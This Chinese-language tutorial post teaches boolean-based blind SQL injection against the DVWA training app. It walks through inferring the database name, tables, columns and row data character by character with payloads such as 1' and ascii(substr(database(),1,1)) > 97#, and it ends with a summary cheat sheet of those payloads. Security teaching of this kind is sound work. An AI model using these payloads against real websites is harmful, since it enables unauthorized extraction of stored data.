網絡安全:sql注入基礎——盲注

 

前言:

繼上文《網絡安全:sql注入基礎》

 

上篇談到,通過發送一些符合語法的輸入,執行特定的sql語句,將查詢結果返回到頁面。這種查詢結果在頁面顯示的方式,我們稱爲“回顯”。

 

舉個實際的例子,如一登錄窗口,輸入用戶名和密碼,成功登錄後。一般會在頁面上顯示“歡迎你,XXX”之類的話語,這個XXX就是你的用戶名。而這個XXX也將作爲我們注入回顯的通道,通過XXX一點點摳出來我們上一篇中說道的數據。

 

還有一種情況,就是沒有回顯!你登錄成功了,不會顯示和查詢相關的數據。比如,輸入用戶名密碼,登錄成功。界面只有一句“登錄成功!”,別無它話。換而言之,我們查詢的結果不會在頁面上顯示一絲一毫,咋辦?

 

這種沒有回顯的注入,我們就稱爲盲注。也就是看不到查詢結果的注入。

 

盲注的精髓就是一個字——猜!

 

雖然sql的查詢結果不會顯示,但是我們可以判斷sql語句是否執行了。例,一個表中只有一個字段id,sql語句爲select admin from table;,因爲表中沒有admin這個字段,sql語句執行錯誤,向頁面返回錯誤。我們就可以根據頁面是否報錯,來判斷我們輸入的sql是否正確,如果頁面沒有報錯,正常返回了。那我們就已經猜出來了這個表裏有一個字段名字叫做admin。

 

如果按照上面那個登陸的例子,我們可以通過頁面顯示的登錄成功或失敗來判斷輸入的sql是否正確。

 

仍舊以DVWA作爲講解實例:

 

輸入1:

輸入10:

 

當sql語句正確執行時,頁面返回exists。沒有正確執行時,返回MISSING。至於sql語句的查詢結果,網頁上一點顯示都沒有,即無回顯的注入,又叫盲注。

 

換而言之,我們輸入的注入語句是否正確運行了,可以通過頁面顯示exists還是missing來判斷。通過此判斷,來猜出數據。

 

這裏先放下不談,我們調出mysql命令行測試幾個函數。

 

一、length函數,估計不用說都知道它的作用了,返回參數的長度。例:

                                     

上篇中我們說到了database函數,返回當前的數據庫名字。圖例爲dvwa,因此length爲4。

 

在黑盒測試且無回顯的狀態下,我們能否用length來嘗試猜測數據庫名字的長度呢?

 

注入:1' and length(database()) > 1#

                    

顯示exists,即sql語句成功執行了。我們知道and前後邏輯都爲true結果才爲true,因此length(database())大於一的判斷是正確的。

 

接下來呢?

 

那就大於2試試唄,你會發現也是對的。直到你判斷length大於4:

返回了missing。如果你不確定,你可以看下等於4是否正確,從而消除顧慮。

 

致此,我們通過盲注猜出了數據庫名字的長度爲4。

 

那怎樣猜出數據庫的名字呢?

 

先讓它待會,我們再來看兩個函數ascii和substr:

                                                   

對於ascii函數,它返回參數字符的ascii碼值,如果參數長度大於1,那就返回第一個字符的碼值。

                                                

對於substr函數,估計也都猜到了,取子串。substr可以有三個參數,第一個是待切割字符串,第二個參數爲切割起始位置,字符串第一個字符的下標是1(而不是我們習慣的0),第二個參數是切割長度。

 

現在你有沒有猜數據庫名字的思路了呢?

 

用substr把字符一個個拿出來,判斷它的ascii值就可以了!

 

例如,對此例而言我們知道數據庫名爲dvwa,對於猜測第一個字符d的注入:1' and ascii(substr(database(), 1, 1)) > 97#

 

返回exists,說明第一個字符的ascii大於97,我們知道ascii爲97的字符是‘a’,也就知道了正確的字符處在a後面。之後我們判斷是否大於98,99(當然這裏每次累增的增量不一定是1)......

 

直到判斷是否大於100:

missing了,同樣的,如果覺得不放心,可以嘗試等於100是否正確。

 

通過這種方法,我們就得到了數據庫名字的第一個字符是‘d’。對於第二個字符無非就是substr( database(), 2, 1),再來一遍罷了。

 

一翻秀翻周圍人,自己卻很無聊的操作之後。你就拿到了數據庫的名字“dvwa”。

 

剩下的,就是從數據庫裏掏數據了。問題來了,數據庫裏的表有幾個呢?

 

再來看一個函數,count:

users表中有五條數據,可以用count計數得出。

 

上篇文章中,我們知道了information_schema.tables表中,放了數據庫中所有表的信息。那我們完全可以用count得出tables表中table_schema字段是‘dvwa’的結果有幾條:

 

注入:1' and (select count(table_name) from information_schema.tables where table_schema="dvwa") > 1#

 

返回exests,然後判斷大於2。

 

當判斷到大於2時,發現出錯,則判定dvwa數據庫中有兩個表。

 

我們真實的看下:

的確有兩個表,第一個表叫做guestbook,第二個表叫users。

 

通過盲注,我們現在只得到了,dvwa中有兩個表。接下來呢,就來猜表的名字是什麼。先來猜第一個表的名字,首先思考這個語句的返回結果:

 

select table_name from information_schema.tables where table_schema='dvwa';

 

應該不用太多的考慮,就是返回dvwa中兩個表的名字嘛:

 

前面我們判斷dvwa用的什麼方法?ascii,對,繼續用呀。

 

這裏有個問題我們猜字符的sql語句是select ascii(substr(database(), 1, 1)) > 97,這裏需要做的就是把database換成表的名字罷了。

 

然而表的名字有兩個,怎樣留下一個嘞?用limit。

 

例:

limit後如果有一個參數,結果返回指定條數的結果。如果有兩個參數,第一個參數爲起始條數(這裏的下標以0爲始,和substr的1不同),第二個參數爲顯示的總條數。

 

我們知道了有兩個表,需要一個個判斷表的長度和名字,就可以用limit來取出其一進行判斷。

 

注入:1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1), 1, 1)) > 97#

 

判斷第一個表(也就是guestbook)的名字。當然,這之前,你應該判斷下這個表名字的長度,以方便你一個個字符來猜表名。

 

dvwa中第一個表長度猜測注入:1' and length((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1)) > 1#

 

直到你一點點猜出表的名字是guestbook,now你就可以再通過columns表中得到guestbook的字段信息。方法是如初的一致,我就不多BB了。前面理解了,這裏就莫得問題了。

 

判斷這個表的字段數有多少:

1' and (select count(column_name) from information_schema.columns where table_name="guestbook") >1 #

 

測試結果爲兩個字段。

 

判斷這個表的第一個字段的第一個字符名字:

1' and ascii(substr((select column_name from information_schema.columns where table_name="guestbook" limit 0,1), 1, 1)) > 97#

 

得結果‘c’。然後拿出第二個字符,一直拿出所有字符。(當然這之前你應該先判定字段名有多長,從而知道應該取出幾次字符。)最終得第一個字段的名字是comment_id。

 

拿出表中第一條數據的comment_id字段內容:

 

首先判斷長度:

1' and length((select comment_id from guestbook limit 0,1)) >1#

 

然後再一個個判斷字符,從而得到名字:

1' and ascii(substr((select comment_id from guestbook limit 0,1), 1,1)) >97#

 

經過一番累死人的操作,到這裏你就通過盲注得到了一個數據。能明顯的感覺到,這比有回顯的效率可低太多了。

 

完。

 

後記:

mysql盲注總結:

 

判斷數據庫長度:
1' and length(database()) > 1#
判斷第一個字符:
1' and ascii(substr(database(), 1, 1)) > 97#
判斷此數據庫中表的數量:
1' and (select count(table_name) from information_schema.tables where table_schema="dvwa") > 3#
判斷庫中第一個表的長度:
1' and length((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1)) > 1#
判斷第一個表的名字:
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1), 1, 1)) > 97#
判段第一個表的字段數量:
1' and (select count(column_name) from information_schema.columns where table_name="guestbook") >1 #
判斷這個表的第一個字段名字:
1' and ascii(substr((select column_name from information_schema.columns where table_name="guestbook" limit 0,1), 1, 1)) > 97#
判斷第一條數據的字段內容長度:
1' and length((select comment_id from guestbook limit 0,1)) >1#
判斷第一條數據的字段內容:
1' and ascii(substr((select comment_id from guestbook limit 0,1), 1,1)) >97#

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章